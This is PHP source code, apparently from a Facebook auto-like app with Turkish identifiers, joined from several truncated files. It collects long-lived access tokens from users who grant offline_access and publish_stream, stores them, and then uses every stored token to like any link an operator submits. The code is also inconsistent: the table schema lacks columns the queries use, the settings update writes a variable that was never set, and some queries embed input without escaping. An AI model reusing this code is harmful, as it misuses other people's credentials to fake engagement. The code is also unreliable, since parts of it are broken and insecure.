|
|
|
escape($_GET['cinsiyet']); $users = $db->get_results("SELECT * FROM offline_access_users WHERE cins = '{$cins}'",ARRAY_A); }elseif(isset($_GET['ara'])){ $user_id = $db->escape($_GET['ara']); $users = $db->get_results("SELECT * FROM offline_access_users WHERE name LIKE '%$user_id%'",ARRAY_A); }else{ $users = $db->get_results("SELECT * FROM offline_access_users",ARRAY_A); } $tpl->assign("users",$users); $tpl->draw("admin_users"); break; case "ayarlar": if(isset($_POST['ayar'])){ $norm = $db->escape($_POST['normal']); $parali = $db->escape($_POST['parali']); $db->query("UPDATE ayarlar SET normal_uye_limit='{$normal}',parali_uye_limit = '{$parali}' WHERE id = 1"); } $ayarlar = $db->get_results("SELECT * FROM ayarlar",ARRAY_A); $tpl->assign("ayarlar",$ayarlar); $tpl->draw("admin_ayarlar"); break; case "cezaver": if(isset($_GET['user_id'])){ $tpl->assign("user_id",$_GET['user_id']); } if(isset($_POST['cezaver'])){ $kullanici = $db->escape($_POST['kullanici']); $cezav = $db->escape($_POST['cezav']); $sebep = $db->escape($_POST['sebep']); $db->query("UPDATE offline_access_users SET seviye='{$cezav}',sebep = '{$sebep}' WHERE id = '{$kullanici}'"); } $tpl->draw("admin_cezaver"); break; case "cake": echo "i is cake"; break; default: $toplamuser = $db->get_results("SELECT count(*) FROM offline_access_users",ARRAY_N); $tpl->assign("toplamuser",$toplamuser[0][0]); $toplamerkek = $db->get_results("SELECT count(*) FROM offline_access_users WHERE cins='male'",ARRAY_N); $tpl->assign("toplamerk",$toplamerkek[0][0]); $toplambayan = $db->get_results("SELECT count(*) FROM offline_access_users WHERE cins='female'",ARRAY_N); $tpl->assign("toplambyn",$toplambayan[0][0]); $tpl->assign("bark",round(($toplambayan[0][0]/$toplamuser[0][0])*100)); $tpl->assign("bare",round(($toplamerkek[0][0]/$toplamuser[0][0])*100)); $tpl->draw("admin_index"); break; } ?>
connect( DB_USER,DB_PASS,DB_SERVER );
$db->select( DB_DATABASE );
$db->query('set names utf8');
$db->query('SET CHARACTER SET utf8');
$db->query('SET COLLATION_CONNECTION="utf8_general_ci"');
$fb_app_id,
'secret' => $fb_secret
));
//get user- if present, insert/update access_token for this user
$user = $facebook->getUser();
if($user){
//to ease this tutorial, create table by script
$db->query("CREATE TABLE IF NOT EXISTS `offline_access_users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`user_id` varchar(32) NOT NULL,
`name` varchar(32) NOT NULL,
`access_token` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
");
//get user data and access token
try {
$userData = $facebook->api('/me');
header("Location: poster.php");
} catch (FacebookApiException $e) {
echo $loginUrl;
die("Uygulama eklenmemiş veya gerekli izinlere sahip değil.");
}
$accessToken = $facebook->getAccessToken();
//check that user is not already inserted? If is. check it's access token and update if needed
//also make sure that there is only one access_token for each user
$row = null;
$result = $db->get_results("SELECT * FROM offline_access_users WHERE user_id = '" . mysql_real_escape_string($userData['id']) . "'",ARRAY_A);
if($result){
$row = mysql_fetch_array($result, MYSQL_ASSOC);
if($db->num_rows > 1){
$db->query("DELETE FROM offline_access_users WHERE user_id='" . mysql_real_escape_string($userData['id']) . "' AND id != '" . $row['id'] . "'");
}
}
if(!$result){
$db->query("INSERT INTO offline_access_users SET
`user_id` = '" . mysql_real_escape_string($userData['id']) . "',
`name` = '" . mysql_real_escape_string($userData['name']) . "',
`email` = '" . mysql_real_escape_string($userData['email']) . "',
`cins` = '" . mysql_real_escape_string($userData['gender']) . "',
`access_token` = '" . mysql_real_escape_string($accessToken) . "'");
} else {
$db->query("UPDATE offline_access_users SET `access_token` = '" . mysql_real_escape_string($accessToken) . "' WHERE `id` = " . $row['id'] . "");
}
}
//redirect to facebook page
if(isset($_GET['code'])){
header("Location: " . $fb_app_url);
exit;
}
//create authorising url
if(!$user){
$loginUrl = $facebook->getLoginUrl(array(
'canvas' => 1,
'fbconnect' => 0,
'scope' => 'offline_access,publish_stream,user_likes,user_status,email,read_stream'
));
}
$tpl->assign("LOGINURL",$loginUrl);
$tpl->draw("index")
?>
$fb_app_id, 'secret' => $fb_secret));
$output = '';
try {
$userData = $facebook->api('/me');
}catch (FacebookApiException $e) {
echo $loginUrl;
die("Uygulama eklenmemiş veya gerekli izinlere sahip değil.");
}
$user1 = $db->get_results("SELECT * FROM offline_access_users WHERE user_id = '$userData[id]'");
if($user1[0]->seviye == '1'){
die ("Cezalisiniz. Sebep:".$user1[0]->ceza_sebep);
}else{
if (isset($_POST['gonder'])) {
$msg = array();
if (isset($_POST['link'])) {
$msg['link'] = $_POST['link'];
if (preg_match("/bstory_fbidb/i", $msg['link'])) {
$array = array();
$asd = parse_url($msg['link']);
parse_str($asd['query'], $array);
$reallink = $array["story_fbid"];
} elseif (preg_match("/bphotob/i", $msg['link'])) {
$array = array();
$asd = parse_url($msg['link']);
parse_str($asd['query'], $array);
$reallink = $array["fbid"];
} else {
$reallink = substr(strrchr($msg['link'], '/'), 1);
}
}
$result = $db->get_results("SELECT * FROM offline_access_users", ARRAY_A);
if ($result) {
foreach ($result as $row) {
$msg['access_token'] = $row['access_token'];
try {
$post = array('access_token' => $row['access_token'], );
$res = $facebook->api('/' . $reallink . '/likes', 'POST', $post);
$output .= "";
}
catch (FacebookApiException $e) {
$output .= ".";
}
}
}
}
}
$k = $db->get_results("SELECT count(*) FROM offline_access_users", ARRAY_N);
$tpl->assign("KACKISI", $k[0][0]);
$tpl->draw("begen");
?>
|
|
|
|
|
|
|